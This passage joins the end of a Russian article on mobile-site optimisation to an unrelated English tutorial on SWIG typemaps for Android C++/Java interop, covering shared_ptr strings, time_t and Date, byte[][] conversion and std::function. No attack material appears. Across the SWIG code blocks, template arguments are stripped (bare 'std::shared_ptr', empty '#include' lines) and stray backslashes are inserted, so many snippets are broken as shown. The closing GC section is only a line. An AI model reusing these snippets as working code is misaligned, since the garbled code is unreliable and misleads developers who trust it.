Однако есть ошибка, возникновение которой не зависит от того, используете вы CMS или нет. Она может свести на «нет» все ваши усилия по оптимизации. Речь идёт об использовании плагинов для отображения Flash-элементов. От их поддержки уже отказались во многих современных мобильных браузерах. И если вы создали страницу целиком или по большей части на Flash, то немало пользователей не увидят её, она у них не загрузится. Потому лучше откажитесь от использования плагинов, которые не поддерживаются наиболее популярными мобильными браузерами. Целесообразно перейти с Flash на HTML 5, особенно в интерактивных мультимедиа-решениях. И для тестирования проведённой оптимизации используйте не только инструменты Google, но и свой собственный смартфон.
Обязательно адаптируйте размер шрифтов. Когда текст, предназначенный для просмотра на больших мониторах, масштабируется на смартфоне, его невозможно читать, с ним практически нереально взаимодействовать.
Размер активных элементов — кнопок, ссылок, пунктов меню — должен быть таким, чтобы на них можно было достаточно комфортно нажимать пальцем, не попадая на соседние элементы. То есть нужно адаптировать не только размер шрифтов, но и расстояние между элементами, межстрочные интервалы.
В качестве базовой рекомендации предлагается использовать шрифты с высотой букв около 16 пикселей, в зависимости от размера экрана и разрешения. Главное, чтобы текст было достаточно хорошо читаем.
Бывает, что поисковик вообще не может отобразить мобильную версию сайта из-за того, что на нём присутствует заблокированное для поисковых ботов содержимое. Например, заблокированными могут быть скрипты или таблицы стилей, которые и отвечают за адаптированность сайта для мобильных устройств. Поэтому обязательно обращайте на это внимание. Убедитесь в том, что ваш robots.txt не блокирует доступ для ботов. Лучше относитесь к ботам как к обычным пользователям.
### Советы по настройке двух версий сайта
Сегодня многие используют две версии сайта — обычную и мобильную. Если это полноценное решение, то Google не делает никаких различий, не считает это недостатком или преимуществом. Но использование двух версий требует от вас ещё больше внимательности.
**Во-первых**, чтобы поисковая система хорошо понимала взаимосвязи между двумя сайтами, необходимо добавить двусторонние аннотации мобильной и десктопной версии.
**Во-вторых**, если используется динамический показ, то есть сервер определяет по запросу браузера какое у пользователя устройство, то пропишите в заголовке Vary: User-Agent. Это нужно для того, чтобы отдавать пользователю правильный контент.
**В-третьих**, убедитесь, правильно ли настроены редиректы с мобильной на десктопную версию, и обратно. Многие вебмастеры допускают две ключевые ошибки при обращении мобильных пользователям к страницам, которые есть только в обычной версии сайта, а не в мобильной:
* Показывают ошибку 404,
* либо перенаправляют на главную страницу.
Но в такой ситуации куда логичнее показывать мобильным пользователям десктопную версию страницы, раз уж она отсутствует в мобильной версии. Перенаправление раздражает куда больше. Это происходит иногда по ошибке, иногда от недопонимания.
Поэтому, если у вас существует две разных версии сайта, помните: страницы должны дублировать друг друга, то есть нужно направлять с десктопных страниц на соответствующие мобильные аналоги, а не на главную. И там, где аналога не существует, нужно оставлять пользователей на десктопной версии.
Также имеет смысл оставлять пользователям возможность выбирать версию сайта для просмотра. Это нужно на случай ошибочного редиректа или каких-то индивидуальных предпочтений. И до конца сессии пользователей не перенаправлять принудительно.
Рекомендую в консоли поиска проверить, не нашёл ли Google каких-то ошибок в ваших настройках редиректа. Кроме того, не пугайтесь, если в выдаче на мобильных устройствах увидите главную страницу десктопной версии сайта. Если у вас правильно настроены аннотации и редиректы, то Google может в выдаче показывать десктопную главную страницу, но редирект будет осуществляться сразу на мобильную версию.
### Заключение
Итак, подытожу всё вышесказанное.
* Не забудьте пройти тест, чтобы проверить, что у вас всё работает правильно.
* Ознакомьтесь с нашим руководством и с рекомендациями вашей CMS.
* Получите и внедрите необходимые рекомендации.
Если у вас есть какие-то вопросы, добро пожаловать на [g.co/ruwebmasters](http://g.co/ruwebmasters).` | https://habr.com/ru/post/267945/ | null | ru | null |
# Android interop with SWIG (a guide). From simple to weird. Part 2 — weird
*This is Part 2. Part 1 is*[*here*](https://habr.com/ru/post/536314/)*.*
*Part 2* covers the use of typemaps, complex & weird cases, and debugging suggestions. This part requires an understanding of Part 1 - usage of [SWIG](http://swig.org/) in simple cases.
This is a practical guide, with [Android Studio project](https://github.com/Mr-Goldberg/SwigAndroidGuide) you can play with.
### Table of contents
* [Complex cases](#complex_cases)
+ [Shared pointer to std::string (C++ side typemaps)](#ptr_to_string)
+ [Java Date and C++ time\_t (Java-side typemaps)](#java_date_time_t)
* [More complexity (all the weirdness)](#more_complexity)
+ [Shared pointer to vector of shared pointers to vectors of bytes](#byte_array_2d)
+ [std::function](#std_function)
* [GC and Reference counting (or how to break the code)](#gc_ref_counting)
* [Debugging SWIG](#debug_swig)
+ [Debugging SWIG script](#debug_swig_script)
+ [Debugging generated code and runtime errors](#debug_generated_code)
* [Misc](#misc)
* [Resources](#resources)
Complex cases
-------------
This section covers the typemaps.
### Shared pointer to std::string (C++ side typemaps)
Scheme
```
%shared_ptr(std::string);
```
just doesn't seem to be working ¯\\_(ツ)\_/¯ - the generated code will not compile. Because SWIG, when generating a wrapper for `shared_ptr` arguments, expects that they are SWIG-wrapped types and relies on SWIG-generated functions, which are not part of the `java.lang.String` class that we expect to use on the Java side. We have to create our own typemap to allow `std::shared_ptr`. Typemap instructs SWIG on how to process a particular type. I will not dig into deep details, see [Java typemaps chapter](http://www.swig.org/Doc4.0/SWIGDocumentation.html#Java_typemaps), especially [C++ typemaps](http://www.swig.org/Doc4.0/SWIGDocumentation.html#Java_typemaps_c_to_java_types) and [Director-specific typemaps](http://www.swig.org/Doc4.0/SWIGDocumentation.html#Java_typemaps_c_to_java_types) within the chapter.
Look to the following table for a simpler understanding of the typemaps (description is below the table).
| | Type in level | Type 1 | Type 2 | Type 3 | Typemaps between levels |
| --- | --- | --- | --- | --- | --- |
| 1 | Java | String | Date | byte[][] | %typemap(jstype) |
| | | | | | %typemap(javain↓|javaout↑|javadirectorin↑|javadirectorout↓] |
| 2 | Java intermediary | String | long | byte[][] | %typemap(jtype) |
| | | | | | Automatically done by JNI (no typemap) |
| 3 | JNI (C++ intermediary) | jstring | jlong | jobjectArray | %typemap(jni) |
| | | | | | %typemap(in↓|out↑|directorin↑|directorout↓) |
| 4 | C++ | std::shared\_ptr | time\_t (equals) long long | shared\_*ptrptr>>>* | |
To pass anything between C++ and JAVA, back or forth, you need to go through the four levels. Levels 1 and 4 are Java and C++ - the levels you are writing business logic at. To go from 1 to 4 or back you have to pass 3 levels of conversion. 2->3 and back is done by JNI. But 1->2 and 3->4 and back are done by the typemaps. Some typemaps are defining types to operate on, in the table, they are residing on the lines with numbers (levels). Some typemaps are defining level and direction, at which they will convert type (between lines with numbers); arrow explains in which direction the particular typemap is working. Note that regular and director typemaps directions are flipped, i.e. `%typemap(in)` doing the same operation as `%typemap(directorout)`. For example, `%typemap(in) std::shared_ptr` is converting level 3->4; level 4 C++ type is defined in this typemap; level 3 JNI type `jstring` is defined by another typemap: `%typemap(jni) std::shared_ptr "jstring"`. The table also covered the `Date` and `byte[][]` type, we will talk about them in the later chapters.
It might sound complicated, but you will eventually get how everything is working while practicing. Read the comments in the following snippet, they are explaining everything in place. So, to proceed, crate new file `swig/std_shared_ptr_to_string.i` and fill it with content.
```
%include
%include
%{
#include
#include
%}
namespace std
{
// To properly recognize type defined in our Types.h
%template(shared\_ptr\_to\_string) std::shared\_ptr;
}
%{
namespace
{
std::shared\_ptr convertStringFromJavaToCpp(JNIEnv \*jenv, jstring javaString)
{
const char \* psz\_string = jenv->GetStringUTFChars(javaString, NULL);
if (!psz\_string)
{
return nullptr;
}
std::shared\_ptr cppString = std::make\_shared(psz\_string);
jenv->ReleaseStringUTFChars(javaString, psz\_string);
return cppString;
}
jstring convertStringFromCppToJava(JNIEnv \*jenv, std::shared\_ptr cppString)
{
if (!cppString)
{
return nullptr;
}
return jenv->NewStringUTF(cppString->c\_str());
}
}
%}
//
// Type definitions for C type 'std::shared\_ptr'
//
%typemap(jstype) std::shared\_ptr "java.lang.String" // Java type
%typemap(jtype) std::shared\_ptr "java.lang.String" // Java intermediary type
%typemap(jni) std::shared\_ptr "jstring" // JNI C type (or intermediary C type)
//
// Java-side typemaps
//
// Conversion from 'jstype' (Java type) to 'jtype' (Java intermediary type)
%typemap(javain) std::shared\_ptr "$javainput"
// Conversion from 'jtype' (Java intermediary type) to 'jstype' (Java type)
%typemap(javaout) std::shared\_ptr
{
return $jnicall;
}
// Conversion from 'jstype' (Java type) to 'jtype' (Java intermediary type) for director methods
%typemap(javadirectorout) std::shared\_ptr "$javacall"
// Conversion from 'jtype' (Java intermediary type) to 'jstype' (Java type) for director methods
%typemap(javadirectorin) std::shared\_ptr "$jniinput"
//
// C++ side typemaps
//
// Conversion from 'jni' (JNI C type) to C++ type
%typemap(in) std::shared\_ptr
{
$1 = convertStringFromJavaToCpp(jenv, $input);
}
// Conversion from C++ type to 'jni' (JNI C type)
%typemap(out) std::shared\_ptr
{
return convertStringFromCppToJava(jenv, $1);
}
// Conversion from 'jni' (JNI C type) to C++ type for director methods
%typemap(directorout) std::shared\_ptr
{
$result = convertStringFromJavaToCpp(jenv, $input);
}
// Conversion from C++ type to 'jni' (JNI C type) for director methods
// Note: Ljava/lang/String; is the JNI field descriptor for the Java String type
%typemap(directorin,descriptor="Ljava/lang/String;") std::shared\_ptr
{
$input = convertStringFromCppToJava(jenv, $1);
}
```
Include this file into your SWIG interface file:
```
%module(directors="1") SwigAndroidGuide
%include
%include
%include "std\_shared\_ptr\_to\_string.i" // << Add this line
```
Re-run SWIG script `run_swig.sh` and you will be able to run your application.
Note that I've created separate conversion functions, which are used in the typemaps. This allows:
* Writing clear C++ code; note, you have to use `$input` and similar constructions in typemap body;
* You know what exactly C++ function is doing by giving it a proper name;
* Typemaps are looking clearer (and you know what they are doing by reading C++ function names);
* Re-use these functions, as regular and director typemaps are the same in most of the cases;
* Decrease in code size. Each time you use the argument particular typemap is working with, the typemap code will be copy-pasted into the SWIG-generated file. This increases code size, which is not great for mobile devices.
### Java Date and C++ time\_t (Java-side typemaps)
For `java.util.Date` it is much simpler to write such typemaps on the Java side, to avoid unnecessary JNI calls in C++. See [Table 1](#table_1) to see how we map Date type to C++. In C++ it will be the `time_t`, which is `long long`.
Let's add the creation date to our message, in `Message.h`:
```
class Message
{
public:
// Add these lines
time_t getCreationDate() const { return _creationDate; }
void setCreationDate(time_t creationDate) { _creationDate = creationDate; }
private:
time_t _creationDate; // < Add this line
```
If you run SWIG script `run_swig.sh` now, you will notice the new file:
```
/app/src/main/java/com/goldberg/swigandroidguide/swiggenerated/SWIGTYPE_p_time_t.java
```
and new functions in WSIG-generated `Message.java`:
```
public SWIGTYPE_p_time_t getCreationDate() {
return new SWIGTYPE_p_time_t(SwigAndroidGuideJNI.Message_getCreationDate(swigCPtr, this), true);
}
public void setCreationDate(SWIGTYPE_p_time_t creationDate) {
SwigAndroidGuideJNI.Message_setCreationDate(swigCPtr, this, SWIGTYPE_p_time_t.getCPtr(creationDate));
}
```
This means, as you guess, that the type `time_t` can't be handled properly.
Let's add new SWIG file `swig/time_t.i`. We do only assignments for the C++ portion of the typemaps. But java typemaps are including the actual Java code. Note, I didn't create separate function as I did in C++, because code is very simple. One more reason - one Java file is generated for each SWIG-wrapped class, so it is just harder to do than in C++, where everything is in one large \*.cpp file.
```
//
// Type definitions for C type 'time_t'
//
%typemap(jstype) time_t "java.util.Date" // Java type
%typemap(jtype) time_t "long" // Java intermediary type
%typemap(jni) time_t "jlong" // JNI C type (or intermediary C type)
//
// Java-side typemaps
//
// Conversion from 'jstype' (Java type) to 'jtype' (Java intermediary type)
%typemap(javain) time_t "$javainput.getTime() / 1000"
// Conversion from 'jtype' (Java intermediary type) to 'jstype' (Java type)
%typemap(javaout) time_t
{
return new java.util.Date($jnicall * 1000);
}
// Conversion from 'jstype' (Java type) to 'jtype' (Java intermediary type) for director methods
%typemap(javadirectorin) time_t "new java.util.Date($jniinput * 1000)"
// Conversion from 'jtype' (Java intermediary type) to 'jstype' (Java type) for director methods
%typemap(javadirectorout) time_t "$javacall.getTime() / 1000"
//
// C++ side typemaps
// All the typemaps are just an assignments.
//
%typemap(in) time_t "$1 = $input;" // Conversion from 'jni' (JNI C type) to C++ type
%typemap(out) time_t "$result = $1;" // Conversion from C++ type to 'jni' (JNI C type)
// Conversion from 'jni' (JNI C type) to C++ type for director methods
%typemap(directorout) time_t "$result = $input;"
// Conversion from C++ type to 'jni' (JNI C type) for director methods
// Note: Ljava/lang/String; is the JNI field descriptor for the Java String type
%typemap(directorin, descriptor = "Ljava/util/Date;") time_t "$input = $1;"
```
Include this file into SWIG instructions file `SwigAndroidGuide.i`:
```
%module(directors="1") SwigAndroidGuide
// ...
%include
%include
// ...
%include "time\_t.i" // << Add this line
```
Now run SWIG script `run_swig.sh` and see that `Message.java` has a proper implementation of our new functions.
```
public java.util.Date getCreationDate() {
return new java.util.Date(SwigAndroidGuideJNI.Message_getCreationDate(swigCPtr, this) * 1000);
}
public void setCreationDate(java.util.Date creationDate) {
SwigAndroidGuideJNI.Message_setCreationDate(swigCPtr, this, creationDate.getTime() / 1000);
}
```
Here the `javain/out` typemaps were unfolded:
* `$javainput` => `creationDate` argument in `setCreationDate(java.util.Date creationDate)`.
* `$jnicall` => `SwigAndroidGuideJNI.Message_getCreationDate(swigCPtr, this)` in `getCreationDate()`.
Let's write some code to use our new functions.
**ActivityModel.cpp:**
```
void ActivityModel::onCreate(IAndroidActivity *androidActivity)
{
// ...
message->setText(make_shared("Greetings!"));
// Add these lines
time\_t now = time(nullptr);
\_\_android\_log\_print(ANDROID\_LOG\_DEBUG, TAG, "%s", asctime(localtime(&now)));
message->setCreationDate(now);
// ...
```
**MainActivity.java** (git dif):
```
- Log.d(TAG, String.format(Locale.US, "Message sent: '%d %s'", message.getId(), message.getText()));
+ Log.d(TAG, String.format(Locale.US, "Message sent: '%d %s %s'", message.getId(), message.getText(), message.getCreationDate()));
```
Run the application and verify that log output is correct - the same date and time are printed in C++ and Java:
```
D/ActivityModel: Thu Oct 29 18:46:08 2020
D/MainActivity: Message sent: '22 Greetings! Thu Oct 29 18:46:08 GMT+02:00 2020'
```
More complexity (all the weirdness)
-----------------------------------
### Shared pointer to vector of shared pointers to vectors of bytes
`shared_ptr>>>`
At first, wrapping std containers with SWIG is easy. Just include this into your SWIG file:
```
%include // Or another C++ container
%template(Std\_Vector\_Int) std::vector; // Define a template and set a name for your type
%template(Std\_Vector\_Message) std::vector; // Define a template and set a name for your type
```
Run SWIG, and you will get the working code:
```
public class Std_Vector_Int extends java.util.AbstractList implements java.util.RandomAccess {
// ...
public Integer get(int index) {
return doGet(index);
}
public Integer set(int index, Integer e) {
return doSet(index, e);
}
public boolean add(Integer e) {
modCount++;
doAdd(e);
return true;
}
public Integer remove(int index) {
modCount++;
return doRemove(index);
}
public int size() {
return doSize();
}
public Std\_Vector\_Int() {
this(SwigAndroidGuideJNI.new\_Std\_Vector\_Int\_\_SWIG\_0(), true);
}
// ...
}
```
If you'll write C++ code like this:
```
public int decryptMessages(std::vector messages) {
return // ...
}
```
Generated Java method to call this C++ method will be like:
```
public int decryptMessages(Std_Vector_Message messages) {
// ...
}
```
The same applies to `%template(Std_Vector_Int) std::vector`. Quite simple. However, the downsides of this:
1. Non-native Java containers. The generated types are just simple wrappers for real C++ objects.
2. Per-element access, i.e. each access to element is C++ call - lower performance.
3. Need to explicitly define a SWIG template for each use-case.
**Despite the downsides, I think the above should be the default way**. Unless you have special requirements, i.e. for performance-critical tasks. To overcome the first problem, you can create converter functions, that will convert this to Java containers. This is easy. Well, issue #2 is not an issue for most cases, but it was an issue in our case. We wanted to pass byte arrays between Java and C++ without the performance penalty. Java has a `ByteBuffer` type, which storage can be allocated in C++ heap (called `direct ByteBuffer`); but there are numerous problems with the `ByteBuffer` type associated with the inability to manage its memory. Also, we wanted Java to interact with our existing code without actually changing it or having any additional *conversion layer*. Using the approach given below data is still copied between C++ and Java (opposite to what `direct ByteBuffer` offers), but the data access and memory management are efficient, and we don't experience any problems.
#### So, shared pointer to vector of shared pointers to vectors of bytes
`shared_ptr>>>` Well, you can think of *this is too much*. But this is just an equivalent of Java `byte[][]`. C++ syntax is unfriendly. In the application I've worked on, this type was holding parts of encrypted data. We don't want this (huge amounts of data) to be copied when passing around, and we wanted quick access from Java. Before proceeding, see our `Types.h`, types from it are used in C++ and SWIG:
```
#include
#include
typedef unsigned char byte;
typedef std::shared\_ptr shared\_ptr\_to\_string;
typedef std::shared\_ptr>>>
shared\_ptr\_to\_vector\_of\_shared\_ptr\_to\_vector\_of\_bytes;
```
Let's write our C++ code first.
```
class ActivityModel
{
public:
// ...
// Add this function
int decryptMessages(shared_ptr_to_vector_of_shared_ptr_to_vector_of_bytes messages);
};
```
As usual, the implementation doesn't do anything real. We are covering only cross-language interaction here.
```
int ActivityModel::decryptMessages(shared_ptr_to_vector_of_shared_ptr_to_vector_of_bytes messages)
{
int bytesDecrypted = 0;
for (int i = 0; i < messages->size(); ++i)
{
bytesDecrypted += messages->at(i)->size();
}
return bytesDecrypted;
}
```
SWIG code is given below. Place it in `std_shared_ptr_to_vector_of_shared_ptr_to_vector_of_bytes.i`. The code is well-commented and self-explanatory. Read it carefully if you want to dig into it. The approach used is the same as for [shared\_ptr](#ptr_to_string). See the conversion map in the [Table 1](#table_1).
```
%include
%include
namespace std
{
// To properly recognize type defined in our Types.h
%template(shared\_ptr\_to\_vector\_of\_shared\_ptr\_to\_vector\_of\_bytes) std::shared\_ptr>>>;
}
// Use as Swig type alias
%define %shared\_ptr\_to\_vector\_of\_shared\_ptr\_to\_vector\_of\_bytes std::shared\_ptr>>> %enddef
%{
#include "Types.h"
namespace
{
/\*
\* C++ type 'std::shared\_ptr>>>' with alias 'shared\_ptr\_to\_vector\_of\_shared\_ptr\_to\_vector\_of\_bytes'
\* is equivalent to Java type 'byte[][]',
\* which is equivalent to JNI type: 'jobjectArray' with 'jbyteArray' elements.
\* JNI descriptors are 'jobjectArray' = '[[B' (treat as byte[][]), 'jbyteArray' = '[B'.
\* Note: more logical will be to pass two-dimensional array, but JNI does support only 1-dimentional arrays.
\*/
shared\_ptr\_to\_vector\_of\_shared\_ptr\_to\_vector\_of\_bytes convertArrayOfArraysOfByteFromJavaToCpp(JNIEnv \*jenv, jobjectArray javaArrayOfArraysOfBytes)
{
if(javaArrayOfArraysOfBytes == nullptr) return nullptr;
// Create outer vector
jsize sizeOfArrayOfArrays = jenv->GetArrayLength(javaArrayOfArraysOfBytes);
std::shared\_ptr> vectorOfVectorsOfBytes = std::make\_shared>();
vectorOfVectorsOfBytes->reserve((size\_t) sizeOfArrayOfArrays);
// Push all inner vectors into outer vector
for(jsize i = 0; i < sizeOfArrayOfArrays; ++i)
{
// Null array
jbyteArray arrayOfBytes = (jbyteArray) (jenv->GetObjectArrayElement(javaArrayOfArraysOfBytes, i));
if (arrayOfBytes == nullptr)
{
vectorOfVectorsOfBytes->push\_back(nullptr);
continue;
}
// Empty array
jsize sizeOfBuffer = jenv->GetArrayLength(arrayOfBytes);
if(sizeOfBuffer == 0)
{
vectorOfVectorsOfBytes->push\_back(std::make\_shared());
continue;
}
// Array with elements
jbyte \*bufferOfBytes = jenv->GetByteArrayElements(arrayOfBytes, nullptr);
shared\_ptr\_to\_vector\_of\_bytes vector = std::make\_shared(bufferOfBytes, bufferOfBytes + sizeOfBuffer);
vectorOfVectorsOfBytes->push\_back(vector);
jenv->ReleaseByteArrayElements(arrayOfBytes, bufferOfBytes, 0);
}
return vectorOfVectorsOfBytes;
}
jobjectArray convertArrayOfArraysOfByteFromCppToJava(JNIEnv \*jenv, shared\_ptr\_to\_vector\_of\_shared\_ptr\_to\_vector\_of\_bytes vectorOfVectorsOfBytes)
{
if (!vectorOfVectorsOfBytes) return nullptr;
// Allocate array of objects, where each object is 'jbyteArray'
jsize sizeOfArrayOfArrays = (jsize) vectorOfVectorsOfBytes->size();
jclass classOfJByteArray = jenv->FindClass("[B"); // '[B' is the JNI field descriptor for the Java byte[] type
jobjectArray arrayOfArraysOfBytes = jenv->NewObjectArray(sizeOfArrayOfArrays, classOfJByteArray, nullptr);
// Set inner arrays to it
for(jsize i = 0; i < sizeOfArrayOfArrays; ++i)
{
// Null array
shared\_ptr\_to\_vector\_of\_bytes vectorOfBytes = vectorOfVectorsOfBytes->at(i);
if (!vectorOfBytes)
{
continue;
}
// Empty array
jsize sizeOfArray = (jsize) vectorOfBytes->size();
jbyteArray javaArrayOfBytes = jenv->NewByteArray(sizeOfArray);
jenv->SetObjectArrayElement(arrayOfArraysOfBytes, (jsize) i, javaArrayOfBytes);
if (sizeOfArray == 0)
{
continue;
}
// Array with elements
jenv->SetByteArrayRegion(javaArrayOfBytes, 0, sizeOfArray, (jbyte \*) &(vectorOfBytes->at(0)));
}
return arrayOfArraysOfBytes;
}
}
%}
%typemap(jstype) %shared\_ptr\_to\_vector\_of\_shared\_ptr\_to\_vector\_of\_bytes "byte[][]"
%typemap(jtype) %shared\_ptr\_to\_vector\_of\_shared\_ptr\_to\_vector\_of\_bytes "byte[][]"
%typemap(javain) %shared\_ptr\_to\_vector\_of\_shared\_ptr\_to\_vector\_of\_bytes "$javainput"
%typemap(jni) %shared\_ptr\_to\_vector\_of\_shared\_ptr\_to\_vector\_of\_bytes "jobjectArray"
%typemap(in) %shared\_ptr\_to\_vector\_of\_shared\_ptr\_to\_vector\_of\_bytes
{
$1 = convertArrayOfArraysOfByteFromJavaToCpp(jenv, $input);
}
%typemap(javadirectorout) %shared\_ptr\_to\_vector\_of\_shared\_ptr\_to\_vector\_of\_bytes "$javacall"
%typemap(directorout) %shared\_ptr\_to\_vector\_of\_shared\_ptr\_to\_vector\_of\_bytes
{
$result = convertArrayOfArraysOfByteFromJavaToCpp(jenv, $input);
}
%typemap(argout) %shared\_ptr\_to\_vector\_of\_shared\_ptr\_to\_vector\_of\_bytes; // Just override the default and do nothing
%typemap(freearg) %shared\_ptr\_to\_vector\_of\_shared\_ptr\_to\_vector\_of\_bytes; // Just override the default and do nothing
%typemap(javaout) %shared\_ptr\_to\_vector\_of\_shared\_ptr\_to\_vector\_of\_bytes
{
return $jnicall;
}
%typemap(out) %shared\_ptr\_to\_vector\_of\_shared\_ptr\_to\_vector\_of\_bytes
{
$result = convertArrayOfArraysOfByteFromCppToJava(jenv, $1);
}
%typemap(javadirectorin) %shared\_ptr\_to\_vector\_of\_shared\_ptr\_to\_vector\_of\_bytes "$jniinput"
// '[[B' is the JNI field descriptor for the Java 'byte[][]' type
%typemap(directorin,descriptor="[[B") %shared\_ptr\_to\_vector\_of\_shared\_ptr\_to\_vector\_of\_bytes
{
$input = convertArrayOfArraysOfByteFromCppToJava(jenv, $1);
}
```
Include this into the main SWIG file `SwigAndroidGuide.i`.
```
// ...
%include
%include "std\_shared\_ptr\_to\_string.i"
%include "std\_shared\_ptr\_to\_vector\_of\_shared\_ptr\_to\_vector\_of\_bytes.i" // Add this line
%{
#include "Types.h" // Add this line
#include "ActivityModel.h"
// ...
%}
// Add this line.
// Important! This should be included before any usage of types typedefed inside.
// Otherwise SWIG can't process them properly.
%include "Types.h"
%include "ActivityModel.h"
// ...
```
Generate SWIG wrappers running `run_swig.sh`. Generated Java function in `ActivityModel.java` looks like this - with real Java type `byte[][]`.
```
public int decryptMessages(byte[][] messages) {
return SwigAndroidGuideJNI.ActivityModel_decryptMessages(swigCPtr, this, messages);
}
```
Usage in `MainActivity.java`:
```
public class MainActivity extends AppCompatActivity
{
// ...
@Override
protected void onCreate(Bundle savedInstanceState)
{
// ...
decrypt();
}
// ...
private void decrypt()
{
byte[][] messages = new byte[5][];
for (int i = 0; i < messages.length; ++i)
{
messages[i] = new byte[(i + 1) * 385];
}
int result = activityModel.decryptMessages(messages);
Log.d(TAG, "decrypt() Message bytes decrypted: " + result);
}
```
And the result is as expected, so it was called correctly: `D/MainActivity: decrypt() Message bytes decrypted: 5775`
**P.S.** The easier case of `shared_ptr>` is not covered in this article, but you can find the typemap in the file [/swig/std\_shared\_ptr\_to\_vector\_of\_bytes.i](https://github.com/Mr-Goldberg/SwigAndroidGuide/blob/master/swig/std_shared_ptr_to_vector_of_bytes.i)
### std::function
Or passing functions to Java. The simple approach here is to create a class similar to Java `Runnable`
```
class Runnable
{
public:
virtual void run() = 0;
};
```
Subclass it where needed and be fine. But we wanted to make the experience more 'integrated'. Especially regarding cool feature of `std::function` - capturing variables. The class we are going to create now will allow us to run our `std::function` from C++ in Java. We don't want to use POSIX threads, as a lot of effort required to do so, instead of using native Android/iOS background task management. Let's start creating a C++ interface to be subclassed in Java - `ITaskScheduler.h`
```
class ITaskScheduler
{
public:
virtual ~ITaskScheduler() = default;
virtual bool isMainThread() = 0;
virtual void executeOnBackgroundThread(std::function function) = 0;
virtual void executeOnUIThread(std::function function) = 0;
};
```
After including this file for processing into the SWIG file `SwigAndroidGuide.i` as usual, and running SWIG notice in `git status` that SWIG can't process `std::function` properly, generating mock file:
```
app/src/main/java/com/goldberg/swigandroidguide/swiggenerated/SWIGTYPE_p_std__functionT_void_fF_t.java
```
We have to write a special typemap for this case. I didn't write it. It is taken from [Stackoverflow](https://stackoverflow.com/a/32668302/5035991), written by the great author Flexo, who knows how to deal with SWIG. If I don't found this answer, we'd stick with the `Runnable` approach mentioned above, as it is much simpler. I will not insert code here, it's quite complex and large. See the code directly in [file](https://github.com/Mr-Goldberg/SwigAndroidGuide/blob/master/swig/std_function.i) `/swig/std_function.i` from the [repository](https://github.com/Mr-Goldberg/SwigAndroidGuide) and read the original [answer](https://stackoverflow.com/a/32668302/5035991). In this file, there are two definitions for `std::function`
```
// Ret = Return type
%define %std_function(Name, Ret, ...)
%define %std_function_void(Name, Ret)
```
I have to add `%std_function_void`, which implementation is 97% matches the `%std_function` because for some reason `%define` statement was not unfolding properly when no variadic arguments were passed `...`. When you pass no variadic arguments, the script thinks that **one** empty argument is passed, while it **should** think **zero** arguments passed. `%std_function_void` eliminates variadic argument. I don't know what's the reason, maybe it is due to OS type/version or SWIG version.
So this code in the SWIG file `SwigAndroidGuide.i`:
```
%std_function(FunctorVoid, void);
```
was giving the error when running SWIG: `SwigAndroidGuide.i:13: Error: Syntax error in: $typemap(jstype,)`
Ok, let's use it. The usage is simple. Just define in your main SWIG file `SwigAndroidGuide.i` which functions you want to pass through the language boundaries. The only downside of this approach in comparison to `Runnable`, is that we have to define each type used.
```
%include "std_function.i"
// ...
// Name is FunctorVoid; void return type and void arguments.
%std_function_void(FunctorVoid, void);
// Name is FunctorVoidMessage; void return type and shared_ptr argument.
%std\_function(FunctorVoidMessage, void, std::shared\_ptr);
```
When re-generating SWIG (`run_swig.sh`), your curious type file `SWIGTYPE_p_std__functionT_void_fF_t.java` transforms to `app/src/main/java/com/goldberg/swigandroidguide/swiggenerated/SWIGTYPE_p_f___void.java`
Probably the file name is assembled in the included script `std_function.i`, but I can't understand where :) Let's implement our class in Java:
```
final class TaskScheduler extends ITaskScheduler
{
private static final Handler mainThreadHandler = new Handler();
private static final ExecutorService backgroundTaskExecutor = Executors.newSingleThreadExecutor();
@Override
public boolean isMainThread()
{
return Looper.getMainLooper().getThread() == Thread.currentThread();
}
@Override
public void executeOnBackgroundThread(FunctorVoid function)
{
backgroundTaskExecutor.execute(function::call);
}
@Override
public void executeOnUIThread(FunctorVoid function)
{
mainThreadHandler.post(function::call);
}
}
```
To use function references, add this to your app-level `app/build.gradle`:
```
android {
// ...
compileOptions {
sourceCompatibility JavaVersion.VERSION_1_8
targetCompatibility JavaVersion.VERSION_1_8
}
```
Let's also add functions to `IAndroidActivity` to allow us to use our newly created class:
```
class IAndroidActivity
{
public:
virtual ITaskScheduler * getTaskScheduler() = 0;
// ...
};
```
When you re-run SWIG once more, it will issue a warning
```
app/src/main/cpp/IAndroidActivity.h:23:
Warning 473:
Returning a pointer or reference in a director method is not recommended.
```
The warning is issued because, as we are returning a pointer, the Java object bound to this pointer may become invalid at any point of time - after the next Garbage Collector run. We have to make sure pointed Java Object will not be garbage collected by keeping its reference, as here, in implementation. We will talk about Garbage Collector in the [next section](#gc_ref_counting).
```
public class MainActivity extends AppCompatActivity
{
// ...
private final ITaskScheduler taskScheduler = new TaskScheduler();
private class AndroidActivity extends IAndroidActivity
{
@Override
public ITaskScheduler getTaskScheduler()
{
return taskScheduler;
}
// ...
}
// ...
```
To overcome the warning, we can pass pointers directly to the functions, as with `void onCreate(IAndroidActivity* androidActivity);`. Even if you pass a not-referenced object to this function, it will definitely live until the function exits. Because such an object is the so-called JNI Local Reference. Ok, let's run some async tasks in C++ (`ActivityModel.cpp`):
```
void doAsyncTasks(IAndroidActivity *androidActivity)
{
ITaskScheduler *taskScheduler = androidActivity->getTaskScheduler();
__android_log_print(ANDROID_LOG_DEBUG, TAG, "Is main thread: %d", taskScheduler->isMainThread());
taskScheduler->executeOnBackgroundThread(
[=]()
{
__android_log_print(ANDROID_LOG_DEBUG, TAG, "Is main thread: %d", taskScheduler->isMainThread());
taskScheduler->executeOnUIThread(
[=]()
{
__android_log_print(ANDROID_LOG_DEBUG, TAG, "Is main thread: %d", taskScheduler->isMainThread());
});
});
}
void ActivityModel::onCreate(IAndroidActivity *androidActivity)
{
androidActivity->showToast(make_shared("Toast from C++"));
androidActivity->sendMessage(make\_shared(22, make\_shared("Greetings!")));
doAsyncTasks(androidActivity);
}
```
Our C++ code doesn't do anything except writing logs. From logs, we can see on which thread which lambda was executed. You can also see this from thread ids in logs `21342-21402`. The left is process id, the right is thread id; for the main thread they are equal.
```
2020-08-16 17:56:22.580 21342-21342/? D/ActivityModel: Is main thread: 1
2020-08-16 17:56:22.584 21342-21402/? D/ActivityModel: Is main thread: 0
2020-08-16 17:56:22.634 21342-21342/? D/ActivityModel: Is main thread: 1
```
GC and Reference counting (or how to break the code)
----------------------------------------------------
Java GC and C++ `shared_ptr` doesn't know about one another. Fin.
